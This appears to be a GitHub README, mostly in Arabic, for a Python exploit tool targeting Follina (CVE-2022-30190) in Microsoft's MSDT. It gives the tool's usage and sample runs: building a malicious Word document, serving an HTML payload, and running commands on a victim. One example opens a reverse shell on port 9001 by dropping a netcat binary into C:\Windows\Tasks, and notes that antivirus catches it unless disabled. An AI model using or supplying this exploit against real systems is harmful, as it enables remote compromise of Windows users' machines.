abhirules27/follinaملاحظات متعلقة بـ CVE-2022-30190
ملاحظات متعلقة بـ CVE-2022-30190
FOLLINA: CVE-2022-30190
يستخدم أداة التشخيص والدعم من مايكروسوفت (MSDT)
يستغل نافذة التشخيص المفتوحة للتشخيص، وعند تنفيذه بشكل صحيح، يمنح المهاجم وصول شل عكسي.
Github: (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py
شكراً لـ: (a). @_johnhammond (b). @networkchuck
الاستخدام follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] options: -h, --help show this help message and exit --command COMMAND, -c COMMAND command to run on the target (default: calc) --output OUTPUT, -o OUTPUT output maldoc file (default: ./follina.doc) --interface INTERFACE, -i INTERFACE network interface or IP address to host the HTTP server (default: eth0) --port PORT, -p PORT port to serve the HTTP server (default: 8000)
أمثلة
(a). تشغيل calc.exe:
$ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
(b). تشغيل notepad.exe:
$ python3 follina.py -c "notepad"
(c). الحصول على شل عكسي على المنفذ 9001.
ملاحظة: هذا يقوم بتحميل ثنائي netcat على الضحية ويضعه في C:\Windows\Tasks. لا يقوم بتنظيف الثنائي. هذا سيؤدي إلى كشف من قبل برامج مكافحة الفيروسات ما لم يتم تعطيلها.
$ python3 follina.py -r 9001
